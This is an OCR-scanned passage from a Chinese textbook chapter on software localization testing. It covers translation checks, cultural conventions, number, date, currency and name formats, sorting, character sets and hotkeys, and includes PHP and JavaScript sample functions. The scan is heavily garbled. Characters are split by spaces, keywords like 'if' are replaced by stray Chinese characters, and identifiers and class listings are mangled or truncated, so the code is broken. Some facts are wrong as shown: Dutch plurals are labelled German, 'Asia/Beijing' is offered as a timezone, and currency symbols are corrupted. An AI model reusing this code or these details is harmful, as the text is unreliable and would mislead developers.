(3) 可 用 性 测试 ,包括 用 户 界面 .度量衡 和 时 区 等 适合 当地 的 要 求 ; 

(4) 兼容 性 测试 ,包括 硬件 软件 本 身 .第 三 方 软件 兼容 性 等 的 测试 ; 

(5) 文化 .宗教 .喜好 等 适用 性 测试 ; 

(6) 手册 验证 ,包括 联机 文件 ,在 线 帮助 .PDF 文件 等 测试 。 

由 此 可 见 ,整个 软件 本 地 化 的 过 程 ,其 实 是 一 个 再 创造 的 过 程 。 文 字 翻 译 只 做 了 本 地 化 工 
作 的 一 部 分 ,要 真正 完成 软件 本 地 化 确实 有 很 多 工作 要 做 。 


8.2 翻译 验证 


软件 本 地 化 其 中 一 项 重要 的 工作 就 是 文字 翻译 ,主要 任务 是 把 源 请 言 转换 到 另 一 种 目标 
语言 ,而 与 此 对 应 的 就 是 翻译 验证 。 如 前 所 述 ,本 地 化 不 仅 是 简单 的 文字 翻译 转换 ,还 应 该 根 
据 目 标语 言 国家 的 市 场 特点 、 文 化 习惯 \ 法 律 等 情况 进行 本 地 特性 开发 .界面 布局 调整 等 工作 。 
所 以 翻译 也 不 是 单纯 的 翻译 ,还 必须 立足 于 文化 和 市 场 的 角度 来 考虑 用 户 ,兼顾 目标 语言 的 文 
化 心理 。 

翻译 验证 ,需要 对 翻译 内 容 、 语 言 文化 以 及 特殊 符号 等 进行 检查 ,帮助 翻译 人 员 发 现 翻译 
中 的 错误 和 不 妥 之 处 、 指 出 开发 人 员 技 术 上 未 能 实现 的 部 分 。 例 如 ,把 一 种 语言 翻译 成 另外 一 
种 语言 ,难免 会 有 星 涩 或 表达 不 准确 的 地 方 ,由 于 大 量 的 翻译 工作 ,翻译 人 员 可 能 会 遗漏 或 疏 
忽 某 些 地 方 ,这 就 需要 测试 人 员 进 行 检查 和 验证 。 如 果 有 条 件 , 在 本 地 化 软件 向 市 场 发 布 之 
前 ,还 应 该 让 目标 语言 的 语言 专家 来 最 后 审 稿 。 

1. 内 容 的 验证 

一 般 来 说 ,需要 翻译 的 内 容 大 致 分 为 三 个 部 分 : 用 户 界面 、 联 机 文档 和 用 户 手 册 等 。 首 
先 ,从 源 代码 中 或 直接 从 资源 文件 中 把 需要 翻译 的 文字 、 图 片 提取 出 来 ,存储 在 相应 的 数据 库 
或 本 地 化 管理 系统 中 ,补充 版 本 、 文 件 名 和 位 置 等 信息 。 然 后 ,将 要 翻译 的 素材 交 给 本 地 化 团 
队 去 翻译 或 由 第 三 方 专业 翻译 公司 去 翻译 。 将 所 翻译 的 结果 进行 保存 ,同时 处 理 ,构建 相应 的 


资源 文件 或 软件 包 , 即 创建 新 的 语言 版 本 。 这 个 阶段 的 要 求 是 翻译 准确 ,能 够 照顾 到 目标 语言 
的 文化 和 习惯 ,并 能 完成 不 同 语言 版 本 的 自动 构建 。 

我 们 知道 ,翻译 是 本 地 化 的 一 项 重要 工作 ,不 同 的 语言 使 用 不 同 的 语法 和 句子 结构 ,如 英 
语 、 汉 语 等 基本 句子 结构 是 “ 主 十 谓 十 宾 ”, 但 日 语 的 基本 句子 结构 是 “ 主 十 宾 十 谓 ”, 所 以 词 对 
词 的 直译 往往 是 不 行 的 ,还 必须 考虑 上 下 文 关系 ,根据 程序 中 特定 的 语 境 来 决定 文字 的 含义 ， 
才能 保证 翻译 准确 。 

在 保持 原 有 意思 和 风格 的 基础 上 ,还 必须 把 源 语 言 格式 替换 为 目标 语言 的 格式 。 例 如 , 联 
机 文档 常用 的 格式 有 HTML、PDF 和 CHM 文件 等 ,本 地 化 翻译 人 员 也 应 该 把 翻译 后 的 文档 
转换 成 相应 的 格式 。 测 试 人 员 也 要 注意 其 转换 后 的 格式 是 否 能 够 正常 显示 ,各 部 分 内 容 和 相 
关 的 链接 是 否 正常 等 。 

除 此 之 外 ,软件 中 的 按钮 ,图标 和 插图 等 上 面 的 文字 也 需要 翻译 ,本 地 化 测试 人 员 应 该 指 
出 翻译 人 员 没 有 翻译 的 部 分 ,协助 其 尽快 完成 。 关 于 翻译 验证 ,有 以 下 几 点 建议 。 

(1) 翻译 时 ,应 该 尽量 使 用 简单 的 句子 结构 和 语法 ,选择 意义 明确 的 词 ; 

(2) 检查 翻译 的 内 容 是 不 是 断章取义 ,是否 词 不 达意 ; 

(3) 如 果 在 源 文件 中 使 用 了 缩写 词 ,检查 缩写 词 在 第 一 次 出 现 的 时 候 是 否 正确 地 标 出 了 
它 的 全 称 ,以 便 用 户 能 够 明白 其 含义 。 这 样 ,在 其 后 的 文本 中 即使 一 直 用 缩写 词 来 表示 ,也 没 
有 关系 ; 

(4) 检查 标点 符号 .货币 、. 计 量 单位 等 是 否 符合 当地 习惯 ,包括 显示 格式 。 

在 国际 化 基础 上 ,本 地 化 过 程 就 相对 简单 。 如 果 国 际 化 没有 做 好 ,翻译 和 本 地 化 的 过 程 就 
会 变 为 一 个 相当 元 长 的 过 程 ,其 中 包括 将 屏幕 、 对 话 框 等 重新 设 定 ; 而 且 需 要 重建 在 线 文 件 ; 
图 像 和 插图 也 可 能 需要 更 改 。 最 后 ,计算 机 程序 还 可 能 需要 做 出 某 些 修改 去 适应 那些 使 用 双 
字 节 字符 的 语言 。 

2. 目标 语言 文化 的 检查 

翻译 的 时 候 要 照顾 到 目标 语言 的 文化 心理 ,例如 ,对 于 不 符合 本 地 文化 和 软件 产品 的 措 
秤 ,需要 纠正 。 软 件 展示 给 用 户 的 首先 就 是 它 的 用 户 界面 ,所 以 UI 的 重要 性 是 不 言 而 喻 的 ， 
这 同样 体现 在 本 地 化 测试 上 。 如 果 在 U1 上 出 现 错误 甚至 有 歧义 的 地 方 ,会 让 用 户 对 该 软件 
产生 不 信任 的 心理 ,这 些 都 是 应 该 坚决 杜绝 的 。 再 则 ,由 于 不 同 民族 ,不 同 信仰 之 间 的 差别 ,各 
民族 在 色彩 .禁忌 和 其 他 习惯 上 也 有 很 多 区 别 。 测 试 人 员 在 软件 本 地 化 的 翻译 验证 工作 中 ,不 
仅 要 找 出 错误 ,而 且 应 该 找 出 不 符合 民族 习惯 的 地 方 ,能 够 提出 有 建设 性 的 修改 方案 。 

软件 相关 宣传 品 的 处 理 , 也 要 把 握 好 当地 的 风俗 习惯 ,留意 包装 的 规格 和 颜色 。 例 如 ,日 
本 人 比较 鼠 讳 数字 “4”, 就 连 4 个 一 组 包装 的 产品 都 不 容易 卖 出 去 。 而 美国 人 不 太 喜 欢 鲜艳 的 
红色 ,那么 宣传 资料 和 包装 纸 就 应 该 尽量 避免 大 红 的 颜色 。 

对 于 一 些 涉 及 文化 方面 的 内 容 , 最 好 能 用 本 民族 中 相应 的 内 容 来 替换 。 如 中 国人 以 红色 
为 喜庆 的 颜色 , 遇 到 节日 ,网 站 采用 大 量 红色 ,而 且 在 股票 交易 网 站 上 ,股票 价格 上 涨 为 红色 ， 
股票 价格 下 跌 为 绿色 ,正好 和 西方 相反 ,在 美国 股票 价格 上 涨 为 绿色 ,股票 价格 下 跌 为 红色 。 
在 西方 ,绿色 象征 安全 ,而 红色 意味 着 问题 严重 ,如 十 字 路 口 的 红绿灯 。 再 比如 ,安全 警戒 等 级 
的 最 低 等 级 是 绿色 ( 没 问 题 ) ,然后 是 黄色 .橙色 ,最 高 等 级 是 红色 。 作 为 国际 化 的 软件 产品 , 颜 
色 应 该 是 可 以 定制 的 ,在 进行 本 地 化 时 ,根据 当地 习俗 将 颜色 重新 设置 ,改变 颜色 的 默认 值 。 

3. 特殊 符号 

把 一 种 语言 翻译 成 另 一 种 语言 ,同时 还 要 注意 目标 语言 的 特殊 符号 ,比如 标点 符号 、 货 币 


符号 以 及 该 目标 语言 所 特有 的 其 他 符号 。 英 语 中 的 标点 符号 和 亚洲 语言 的 标点 符号 不 太 相 
同 ,英文 的 句号 是 一 个 圆 点 (单字 节 符 号 ), 而 汉语 和 日 语 的 句号 都 是 一 个 小 圆圈 ( 双 字 节 符 
号 ); 汉语 中 的 标点 符号 是 比较 完备 的 ,英文 中 通常 用 斜体 表示 书 名 ,汉字 则 用 《 ;标识 书 名 。 


8.3 本 地 化 测试 的 技术 问题 


完成 了 语言 的 转换 ,对 于 整个 本 地 化 过 程 来 说 ,只 是 完成 了 第 一 阶段 。 要 使 该 软件 真正 投 
人 使 用 ,还 有 很 多 技术 方面 的 问题 有 待 解决 ,主要 有 : 

(1) 数据 格式 。 

(2) 页 面 显示 和 布局 。 

(3) 配置 和 兼容 性 问题 。 


8.3.1 数据 格式 


数字 、 货 币 和 日 期 等 的 表达 方法 在 不 同 的 国家 其 格式 也 是 不 尽 相同 的 ,所 以 在 对 软件 本 地 
化 时 ,也 应 该 特别 注意 这 些 方面 的 问题 ,考虑 到 本 地 化 格式 的 要 求 ,否则 就 有 可 能 出 现 错误 。 
幸运 的 是 ,今天 可 以 使 用 标准 APIs( 比 如 微软 ,Sun 提供 的 ) 来 处 理 这 类 转换 的 问题 。 如 果 是 
由 自己 设计 的 显示 方式 或 模式 ,就 必须 很 好 地 设计 其 变量 含义 和 处 理 方式 ,数据 存储 方式 等 去 
适应 这 种 显示 的 要 求 。 

在 程序 设计 ,编程 时 ,可 以 通过 一 些 特 殊 的 函数 来 处 理 不 同 语言 的 数据 格式 。 例 如 ,使 用 
自 定义 函数 LocLongdate() ,LocShortdate() ,LocTime(),LocNumberFormat() 等 替换 原来 的 
date() 函 数 ,来 处 理 日 期 的 完整 表示 ,简写 .数字 等 不 同 的 显示 格式 。 下 面 将 通过 一 些 具体 的 
例子 来 介绍 不 同 地 方 数字 、 货 币 和 日 期 等 不 同 的 表达 格式 。 

1. 数字 

很 多 欧洲 语言 使 用 逗号 而 不 是 小 数 点 来 表示 千 位 ,有 的 则 使 用 句号 或 空格 代替 逗号 。 所 
以 ,本 地 化 的 软件 也 必须 注意 这 个 问题 ,如 车 不 然 , 有 可 能 一 个 顾客 存 入 5000 欧元 ,而 却 只 能 
取出 5 美元 。 比 如 ,同一 个 数字 (7582) 在 美国 ,意大利 和 瑞士 有 三 种 不 同 的 表达 方式 ， 

美国 : 7,582 

意大利 : 7. 582 

瑞士 : 7 582 

2. 货币 

除了 数字 转换 外 ,几乎 每 一 个 国家 都 有 表示 本 国货 币 的 符号 ,这些 符号 出 现在 金额 的 前 后 
也 各 不 相同 。 如 果 一 个 金融 类 的 应 用 软件 把 本 该 用 表示 的 地 方 ,用 了 $ ,后 果 将 是 不 堪 设 
想 的 。 

美国 : Dollar $ 或 US$ 。 

英国 : Pound 于 。 

日 本 : Yen 三。 

欧洲 : 欧元 。 

中 国 : 人 民 币 


3. 时 间 

各 国 时 间 的 习惯 表达 方式 也 总 是 不 一 样 的 ,美国 习惯 上 使 用 12 小 时 来 表达 时 间 ,而 欧洲 
国家 使 用 24 小 时 模式 来 表达 时 间 。 如 晚上 10:45, 在 不 同 的 国家 有 不 同 的 表示 。 

(1) 美国 : 10: 45PM。 

(2) 德国 : 22. 45 。 

(3) 加 拿 大 法 裔 : 22 h 45。 

而 且 美 国 是 12:00am 一 11:59am，12:00pm 一 11:59pm, 没 有 0:10am 或 0:30pm, 相 当 于 
12、1、2、…、10、11 这 样 的 顺序 。 

4. 日 期 格式 

同样 ,不 同 国家 的 日 期 显示 格式 也 不 是 一 致 的 。 美国 的 标准 是 MM/DD/YY 来 显示 月 、 
日 .年 ,也 有 很 多 不 同 的 分 割 符 号 (如 “/” 和 “-”); 欧洲 ( 除 少 数 例外 ) 的 标准 是 日 .月 、 年 (DD/ 
MM/YY); 中 国 的 标准 则 是 年 .月 日。 下 面 以 2003 年 2 月 14 日 为 例 来 说 明 。 

(1) 美国 , 2/14/2003。 

(2) 英国 , 14. 2. 2003 。 

(3) 中 国 : 2003/2/14。 

即使 是 一 个 星期 的 起 始 天 各 国 也 不 相同 ,如 美国 ,一 个 星期 的 第 一 天 是 星期 天 ; 然而 ,法 
国 的 日 历 第 一 天 都 以 星期 一 开头 。 

再 看 一 个 具体 的 例子 ,一 个 英文 日 期 ,如 *7/22,， 003? 或 “7-22-2003”, 本 地 化 为 中 文 版 本 
后 ,日 期 显示 变 为 “7 月 . 12，2003”, 显 然 不 正确 ,其 正确 的 中 文 显示 应 该 是 “2003 年 7 月 22 日 ”。 

现在 来 了 解 一 下 正确 的 编码 。 从 编码 中 可 以 看 到 在 本 地 化 的 时 候 , 有 时 必须 应 用 自 定义 
函数 LocLongDate() 来 解决 日 期 显示 的 问题 。 这 就 要 求 本 地 化 测试 人 员 不 只 是 发 现 问题 ,还 
要 站 在 更 高 的 层次 来 分 析 问 题 ,并 提出 解决 问题 的 建议 。 在 Java 里 比较 简单 ,有 java. util. 
Locale 类 ,日 期 格式 化 可 以 表示 为 : 


SimpleDateFormat("", Locale. SIMPLIFIED CHINESE); 


根据 语言 版 本 取 完 整 日 期 格式 的 处 理 函 数 〈 以 下 程序 设计 语言 为 PHP 语言 ): 


function LocLongDate( $ UnixTime, $ RegionID, $ DisplayWeek = "Yes") 
| 
global $ glbRegion; 


InternationInit(); 
if (!IsExistRegionID( $ RegionID) ) 
$ RegionID = $ glbDefaultRegionID; // 取 得 本 地 区 域 代码 
if("". $ glbRegion[ $ RegionID][LONGDATEFORMAT] == "") // 如 果 是 长 日 期 型 
$ glbRegion[ $ RegionID][LONGDATEFORMAT] = "WHW, MMM d, yyyy"; 
$ strFormat = FormatLocToFormatPhp( $ glbRegion[ $ RegionID][LONGDATEFORMAT]); 
if( $ DisplayWeek == "NoWeek") // 处 理 日 期 格式 
{ 
$ strFormat = eregi_replace("1","", $ strFormat); 
$ strFormat = ereg_replace("”, ","", $ strFormat); 
} 
$ LongDateString = date( $ strFormat, $ UnixTime); 


证 (strstr(strtolower( $ glbRegion[ $ RegionID][LONGDATEFORMAT]), "www" ) ) 
$ LongDateString = str_replace(date("1"，$ UnixTime), $ ARR_FULLWEEKDAY[ date("w", 
$ UnixTine) ]，$ LongDateString) ; // 获 得 星期 显示 字符 串 
if (strstr(strtolower( $ glbRegion[ $ RegionID][LONGDATEFORMAT]), "mmm" ) ) 
$ LongDateString = str_replace (date("F", $ UnixTime), ARR_ FULLMONTH[ date("n", 
$ UnixTime) - ] , $ LongDateString); // 获 得 日 期 显示 字符 串 
return $ LongDateString; 
} 


5. 度量 衡 的 单位 


美国 以 外 的 很 多 国家 使 用 公制 度量 系统 ,因此 ,国际 化 的 软件 必须 能 够 解决 公制 度量 单位 
的 问题 。 度 量 衡 的 单位 在 工程 和 科学 软件 中 尤为 敏感 ,如 果 在 转换 的 过 程 中 出 现 错误 ,后 果 将 
不 堪 设 想 。 所 以 在 转换 英 式 度量 单位 制 和 公制 度量 单位 时 ,要 倍加 小 心 。 这 更 是 本 地 化 测试 
所 不 容 忽 略 的 问题 。 


6. 索引 和 排序 


英文 排序 和 索引 习惯 上 按照 字母 的 顺序 来 编排 ,但 是 对 于 一 些 非 字母 文字 的 国家 ,如 亚洲 
很 多 国家 来 说 ,这 种 方法 就 不 适用 了 ,如 汉字 就 有 按 拼音 .部 首 和 笔画 等 不 同 的 索引 方法 ; 即 
使 是 使 用 字母 文字 的 国家 ,他 们 的 排序 方法 和 英文 也 是 有 很 大 出 人 的 ,比如 瑞典 语 , 它 的 字母 
比 英文 字母 多 三 个 ,在 索引 排序 时 也 应 加 以 考虑 。 所 以 ,在 本 地 化 软件 时 ,应 该 根据 不 同 国家 
和 地 区 的 语言 习惯 分 别 加 以 考虑 ,在 进行 本 地 化 测试 的 时 候 更 应 该 仔细 核对 这 些 问 题 ,如 把 英 
文 软件 本 地 化 为 瑞典 版 本 中 ,用 来 排序 的 有 29 个 字母 ,在 字母 A, B，C, …, X,Y, Z 后 会 增 
加 几 个 特殊 的 字母 一 一 瑞典 语 中 的 三 个 字母 , 即 AAA.O。 从 代码 中 可 以 看 到 , 它 分 别 用 了 
($Index==(RawUrlDecode("%C5")).($Index= = (rawurldecode("%C4")) 和 ( $ Index 
三 一 (rawurldecode ("%D6")) 来 表示 这 几 个 字母 。 


if (GetLanguageIDFromUr1(BrandName()) == 13) 
{ 
if ( $ Index == (rawurldecode("%C5"))) 
echo "<b> &Aring;</b> gnbsp; &nbsp; &nbsp;"; 
else 
print("< A HREF = \"javascript: GetAddressByIndex( document. FormDeleteAddress, '". $ strSortField."', 
", '&Aring;'."')\">". '&Aring; '. "</A> gnbsp; \n"); 
if ( $ Index == (rawurldecode(" % C4"))) 
echo "< b> &Auml;</b> gnbsp; &nbsp; &nbsp; "; 
else 
print("< A HREF = \"javascript: GetAddressByIndex( document. FormDeleteAddress, '". $ strSortField."', 
"SgAum];'."')\">". ‘SAuml;'. "</A> gnbsp; \n"); 
if ( $ Index== (rawurldecode(" % D6"))) 
echo "<b> &Ounl;</b> gnbsp; gnbsp; &nbsp; "; 
else 
print("< A HREF = \" javascript: GetAddressByIndex( document. FormDeleteAddress, '". $ strSortField."', 
.gOuml; '."")\">". ‘gOuml; '. "</A> gnbsp;\n"); 
} 


7. 姓名 格式 


英文 的 姓名 格式 是 名 在 前 , 姓 在 后 ,姓名 之 间 还 需 空 一 格 , 而 亚洲 人 的 姓名 格式 通常 是 姓 
前 名 后 ,而 且 中 间 无 须 空格 。 由 于 这 个 区 别 , 在 做 本 地 化 测试 的 时 候 , 一 定 要 确保 受 影响 的 部 


分 都 做 了 相应 的 改动 ,否则 会 导致 显示 和 查找 的 时 候 产生 错误 。 在 测试 的 时 候 如 果 发 现 此 类 
错误 ,可 以 建议 编码 人 员 根 据 不 同 国家 和 地 区 的 语言 习惯 考虑 姓 、 名 以 及 全 名 之 间 的 关系 , 自 
定义 一 些 函 数 来 处 理 此 类 问题 。 

这 里 定义 了 函数 GetFullNameforMultipleLanguage, 来 帮助 我 们 识别 姓名 的 类 型 ,从 而 选 
取 正 确 的 显示 格式 。 


function GetFullNameforMultipleLanguage( $ FirstName, $ LastName = "") // 根 据 语言 版 本 取得 相应 的 
// 姓 名 格式 
i 
// 如 果 全 名 中 包含 英文 大 写字 符 A~z 或 小 写字 符 a~z, 则 保留 名 和 姓 之 间 的 空格 
$ strFullName = trim( $ FirstName." ". $ LastName); 
if(eregi("[a-z]",$ strFullName[0])) // 如 果 姓 名 是 英文 字符 , 则 立刻 返回 其 值 
return $ strFullName; 
// 如 果 当 前 语言 是 繁体 中 文 , 则 删除 其 中 的 空格 
$ LanguageID = GetCookie("CK_LanguageID ".GetSiteConfig("SiteID")); 
if(intval( $ LanguageID) == 0) 
$ LanguageID = GetLanguageIDFromUr] (BrandName( ) ) ; 
证 ( $ LanguageID == 4|| $ LanguageID == 5) // 针对 繁体 中 文 和 日 语 
return ereg_replace("*","", $ strFullName); 
if(eregi("[a-z]", $ strFullName)) 
return trim( $ strFullName); 
else 
return ereg replace(" * ","", $ strFullName); 


} 


8. 复数 问题 
生成 复数 的 规则 因 语 言 的 不 同 而 有 差异 。 即 使 在 英语 中 ,复数 的 规则 也 并 不 是 始终 如 一 
的 ,如 “bed” 的 复数 是 “beds”, 而 “leaf” 的 复数 却 不 是 “leafs”, 以 下 例子 说 明了 复数 的 问题 。 如 ， 


"%dprogram% s searched" 


"%dfile%s searched". 
如 果 %d 大 于 1,%s 将 把 “s" 插 入 到 该 单词 中 去 从 而 组 成 其 复数 形式 , 则 该 信息 显示 格式 如 下 : 
"1 program searched" and "1 file searched" 
或 者 
"3 programs searched" and "3 files searched." 
在 英语 中 ,这 样 编码 是 没有 问题 的 ,但 是 对 于 德语 和 多 数 其 他 欧洲 语言 ,它们 的 复数 规则 
却 不 是 这 样 的 ,如 : 
Pprogram = programma 
programs = programma’s 
file= bestand 


files = bestanden 


在 做 本 地 化 测试 的 时 候 , 特 别 要 注意 这 些 地 方 是 否 被 充分 地 考虑 并 做 了 适当 的 修改 。 


PHP 支持 国际 化 和 本 地 化 特性 

PHP 语言 从 PHP5 版 本 更 好 地 支持 国际 化 和 本 地 化 的 需要 。 例 如 ,定义 了 一 个 locale 
类 ,覆盖 了 语言 .区 域 .姓名 等 ; 定义 了 一 个 DateTimeZone 类 来 处 理 全 球 主要 国家 的 时 区 。 
可 以 在 hp. ini 文件 中 设 定 区 域 和 时 区 , 即 date. timezone 设置 为 特定 时 区 (如 Etc/GMT-8 
或 Asia/Beijing), 也 可 以 在 PHP 程序 里 用 date_default_timezone_set() 设 置 。 

使 用 setlocale(string category，string locale) locale_set_default(string $ name)、 
date_default_timezone_set() 设 置 本 地 化 环境 。 然 后 使 用 如 money_format()、number_ 
format() 和 strftime() 以 及 localeconv() 等 函数 ,就 能 获得 货币 、 数 字 、 时 间 等 格式 化 的 数 
据 。 例 如 : 


< php 
date_default_timezone_set('Europe/Helsinki'); 
setlocale(LC ALL, 'nl_NL'); 


echo strftime("%A %e %B %Y", mktime(0, 0, 0, 12, 22, 1978)); 
> 


Locale { 
/*Methods* / 
static string acceptFromHttp (string $ header) 
static string composeLocale (array $ subtags) 
static bool filterMatches (string $ langtag , string $ locale) 
static array getAllVariants (string $ locale) 
static string getDefault (void) 
static string getDisplayLanguage (string $ locale [, string $ in_locale ]) 
static string getDisplayName (string $ locale [, string $ in_locale ]) 
static string getDisplayRegion (string $ locale [, string $ in_locale ]) 
static string getDisplayScript (string $ locale [, string $ in_locale ]) 
static string getDisplayVariant (string $ locale [, string $ in_locale ]) 
static array getKeywords (string $ locale) 
static string getPrimaryLanguage (string $ locale) 
static string getRegion (string $ locale) 
static string getScript (string $ locale) 
static string lookup (array $ langtag , string $ locale) 
static array parseLocale (string $ locale) 
static bool setDefault (string $ locale) 


DateTimeZone { 

/*Constants*/ 

const integer DateTimeZone: :AFRICA = 1; 
const integer DateTimeZon 
const integer DateTimeZon 
const integer DateTimeZon 
const integer DateTimeZon 
const integer DateTimeZon 
const integer DateTimeZon 
const integer DateTimeZon 
const integer DateTimeZone: :INDIAN = 256; 
const integer DateTimeZon ACIFIC = 512; 


const integer DateTimeZone: : = 1024; 

const integer DateTimeZone: :ALL = 2047; 

const integer DateTimeZone: :ALL WITH _BC = 4095; 
const integer DateTimeZone: :PER_COUNTRY = 4096; 
/*Methods*/ 

public construct (string $ timezone) 


public array getLocation (void) 

public string getName (void) 

public int getOffset (DateTime $ datetime) 

public array getTransitions ([ int $ timestamp_begin [, int $ timestamp_end ]]) 

public static array listAbbreviations (void) 

public static array listIdentifiers ([ int $ what = DateTimeZone:: ALL [, string $ country = 
NMOL ]]) 


8.3.2 ”页面 显示 和 布局 


在 有 些 本 地 化 软件 中 ,有 时 会 发 现 乱码 的 问题 ,这 是 由 于 没有 设置 相应 的 本 地 化 字符 集 或 
字符 编码 方式 不 支持 本 地 化 语言 所 致 ,不 同 的 浏览 器 或 邮件 接收 软件 的 编码 解码 方式 不 同 , 解 
决 这 类 问题 的 方法 如 下 。 

(1) 开发 本 地 化 时 应 用 自 定义 函数 GetCurCharSet() 。 


function GetCurCharSet() // bind charset to language 
{ 
$ CharSet = "iso — 8859 — 1"; // 标 准 字 符 集 
$ LanguageID = GetCurLanguageID( ); 


证 ($ LanguageID==3) $CharSet= "gb2312"; // 简 体 中 文 版 
证 ($ LanguageID==4) $CharSet="big5"; // 繁 体 中 文 版 
证 ($LanguageID==5) $CharSet="shift_jis"; // 日 文 版 
if ($ LanguageID==6) $CharSet="euc— kr"; // 韩 文 版 
return $ CharSet; 

} 


这 个 函数 中 调用 了 另 一 个 自 定义 函数 GetCurLanguageID() ,而 函数 的 值 是 通过 本 机 的 
Cookies 取 到 的 ,这 样 可 以 通过 GetCurCharset() 调 用 该 函数 来 判断 采用 相应 的 字符 集 。 


function GetCurLanguageID( ) // 取 得 相应 的 语言 版 本 
{ 
$ LanguageID = GetCookie("CK_LanguageID ".GetSiteConfig("SiteID")); 
if(intval( $ LanguageID) == 0) 
$ LanguageID = GetLanguageIDFromUr] (BrandName( )); 


return intval( $ LanguageID); 
} 


(2) 针对 不 同 的 浏览 器 采取 不 同 的 解码 方法 。 


Function Preview(form) { 
var NS4 = (document. layers && !dom) 1:0; 
var NS6 = (navigator. vendor == ("Netscape6") ||navigator. product == ("Gecko")); 


Var message; 
var re=/\+/g; 
证 (NS4>0) 
message = escape(form. welmsg. value); 
else if(NS6>0) 
message = form. welmsg. value; 
else 


message = form. welmsg. innerHTML; 


if(message. indexOf(" +")!= —1){ 
Var wmessage = message. replace(re," $% 2B"); 
} 


else wmessage = message; 
form. AT. value = "Submit"; 


form. preview. value = "true"; 


Var sTemp; 
if (NS4>0 || NS6>0) 
sTemp = form. welmsg. value; 
else 
sTemp = form. welmsg. innerHTML; 
if(getStrLength( sTemp)> 128) 
{ 
alert(" 欢 迎 消息 不 能 超过 128 个 字符 ."); // 给 出 警告 提示 


form. welmsg. focus( ); 
} 
else 
window. open ( "/< = PersonalLobbyPath( ) > index. php username = < = rawurlencode (str_ 
replace("&quot;","\"", $ repinfo[ "UserName" ] ) ) > &preview = true&welmsg = " + wmessage); 
} 
} 


由 于 源 代码 没有 充分 考虑 到 国际 化 (118N) 版 本 的 要 求 ,很 多 软件 本 地 化 之 后 在 页 面 的 外 
观 上 会 出 现 一 些 不 尽 如 人 意 的 地 方 。 如 没有 翻译 的 字段 ,对 齐 问题 ,大 小 写 问题 ,文字 遮挡 图 
像 问题 .显示 乱码 问题 等 。 这 些 有 表格 设 定 所 产生 的 问题 ,也 有 未 考虑 翻译 后 的 文字 扩展 而 产 
生 的 设计 问题 。 测 试 人 员 应 及 时 指出 这 些 错 误 , 让 开发 人 员 尽 快 修改 。 


8.3.3 配置 和 兼容 性 问题 


测试 本 地 化 软件 的 时 候 , 其 配置 和 兼容 性 也 是 必须 考虑 的 问题 。 配 置 性 包括 键盘 布局 
设计 、 打 印 机 配置 等 。 软 件 可 能 会 用 到 的 任何 外 设 都 要 在 平台 配置 和 兼容 性 测试 的 等 价 区 
间 中 考虑 。 兼 容 性 包括 与 硬件 的 兼容 性 .与 上 一 版 本 的 数据 兼容 及 与 其 他 本 地 化 软件 的 兼 
容 性 等 。 

1. 数据 库 问题 

软件 本 地 化 同时 也 涉及 数据 库 的 改动 ,比如 由 于 文本 的 maxlen 属性 只 限制 输入 字符 而 
非 字 节 长 度 或 非 ASCII 码 ,特别 是 多 字 节 字符 解析 成 NCR 形式 (&# dddd;), 导 致 输入 的 字 
符 长 度 超出 数据 库 字段 宽度 ,这 就 是 由 数据 库 而 产生 的 问题 。 

在 本 地 化 过 程 中 ,应 视 情况 而 定 。 比 如 可 以 在 输入 页 面 提交 之 前 ,检测 输入 字符 的 宽度 是 


否 超 长 或 显示 数据 库 操作 错误 。 如 : 


< form name = AddVis> 
< input name = "V_Name" type = text value= ""> 
< input type = submit value = "ok" onsubmit = "javascript:checkinput()"> 


function getStrLength(StrTemp) // 取 字符 长 度 
{ 
Var strInput = "" + StrTemp; 
Var i, sum; 
sum= 0; 
//alert("string lengh= " + strInput. length); 
for(i=0;i< strInput. length;i++) 
{ 
if((strInput. charCodeAt(i)>= 0)&&(strIinput. charCodeAt(i)<= 255)) 
sum= sum+ 1; 
else 
sum= sum+ 2; 
, 
//alert("actual lengh= "+ sum); 
return sunm; 
} 
function checkinput() // 检 查 输入 字符 的 长 度 
| 
if(getStrLength(document. AddVis.V_Name. value)> 64) 
‘ 


alert("The input string must be less than 64. "); // 给 出 警告 提示 
document. AddVis.V Name. focus(); 
return false; 


L 


2. 热 键 

在 做 本 地 化 测试 的 时 候 , 还 有 一 个 不 能 忽略 的 问题 一 一 热 键 问题 。 许 多 程序 都 为 不 同 的 
命令 设置 了 热 键 (键盘 快捷 方式 )。 比 如 ,在 微软 的 Word 中 ,可 以 按 Ctrl 十 F 键 打开 “查找 ”对 
话 框 。 热 键 Ctrl 十 F 就 是 代替 鼠标 来 选择 Word“ 编 辑 " 菜 单 中 “查找 "命令 的 简捷 方式 。 通 常 ， 
文字 被 翻译 之 后 ,原来 的 热 键 很 可 能 不 再 适用 ,需要 为 翻译 过 的 文本 设 定 新 的 热 键 ,比如 , 当 
“Close” 被 翻译 成 德语 “SchlieBen” 之 后 , 原 有 的 热 键 Alt 十 C 也 应 该 相应 地 变 为 Alt 十 S。 新 的 
热 键 应 该 和 本 地 操作 系统 环境 相 匹 配 ,确保 所 有 的 热 键 都 是 唯一 的 。 不 过 中 国 \ 日 本 和 韩国 的 
版 本 ,都 沿用 英文 原 有 的 热 键 ,所 以 本 地 化 之 后 不 存在 这 个 问题 。 

此 外 ,还 有 很 多 应 该 注意 的 技术 问题 ,如 : 对 于 欧洲 语言 的 本 地 化 ,还 有 大 小 写字 母 转 换 
的 问题 . 连 字 符号 连接 规则 、 键 盘 的 问题 等 。 对 于 有 些 国家 的 本 地 化 ,例如 希 伯 莱 文 和 阿拉 伯 
文 还 要 考虑 文字 显示 方向 的 问题 等 。 


8.4 本 地 化 的 功能 测试 


软件 本 地 化 是 一 个 再 创造 的 过 程 ,不 仅 包括 翻译 人 员 的 劳动 ,技术 人 员 的 再 加 工 ,而 且 包 
括 测试 人 员 的 层 层 把 关 。 软 件 本 地 化 之 后 ,把 它 当 作 新 的 版 本 来 对 待 ,针对 改动 的 地 方 进行 充 


分 的 测试 ,特别 是 前 面 介绍 的 翻译 问题 和 技术 问题 ,并 完成 相应 的 回归 功能 测试 。 

任何 一 件 产品 ,人 们 最 关心 的 还 是 它 所 能 提供 的 服务 ,所 以 功能 的 实现 总 是 很 重要 的 。 要 
验证 一 个 软件 是 否 被 正确 地 本 地 化 ,要 在 相对 真实 的 环境 下 对 软件 所 有 功能 进行 测试 。 关 于 
本 地 化 软件 的 功能 测试 ,可 以 和 源 语言 版 本 相对 比 来 进行 测试 。 此 外 ,还 要 注意 是 否 能 够 正确 
地 输入 目标 语言 .输入 之 后 是 否 能 够 正确 显示 等 。 

1. 联机 文档 的 功能 测试 

